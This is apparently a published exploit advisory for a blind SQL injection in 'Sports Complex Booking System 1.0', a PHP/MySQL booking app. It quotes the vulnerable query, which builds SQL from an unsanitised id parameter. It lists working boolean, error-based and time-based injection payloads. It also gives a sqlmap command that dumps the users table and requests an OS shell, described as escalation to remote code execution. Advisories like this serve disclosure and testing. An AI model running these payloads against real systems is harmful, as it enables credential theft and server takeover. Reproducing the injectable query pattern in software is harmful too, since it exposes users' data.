Sports Complex Booking System 1.0 SQL Injection

`# Title: Sports Complex Booking System 1.0 Blind SQLi To Rce  
# Author: Hejap Zairy  
# Date: 24.07.2022  
# Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html  
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
  
  
#vulnerability Code php  
  
```php  
if(isset($_GET['id']) && $_GET['id'] > 0){  
$qry = $conn->query("SELECT f.*, c.name as category from `facility_list` f inner join category_list c on f.category_id = c.id where f.id = '{$_GET['id']}' ");  
if($qry->num_rows > 0){  
foreach($qry->fetch_assoc() as $k => $v){  
$$k=stripslashes($v);  
}  
}  
}```  
  
  
  
  
#Status: CRITICAL  
```  
Parameter: id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: p=view_facility&id=4' AND 1013=1013-- aQIm  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: p=view_facility&id=4' OR (SELECT 7626 FROM(SELECT COUNT(*),CONCAT(0x71716a7671,(SELECT (ELT(7626=7626,1))),0x71787a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- SkTl  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: p=view_facility&id=4' AND (SELECT 5013 FROM (SELECT(SLEEP(5)))lCeY)-- pdUo  
---  
  
```  
#Blind SQLi Time to Rce  
#ُExploit   
  
  
sqlmap -u 'http://0day.gov/scbs/?p=view_facility&id=4' --hex --time-sec=17 --dbms=mysql --technique=t --random-agent --eta -p id -D scbs -T users --dump --os-shell   
  
# Description:  
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc  
  
# Proof and Exploit:  
https://i.imgur.com/nY9GR9F.png  
`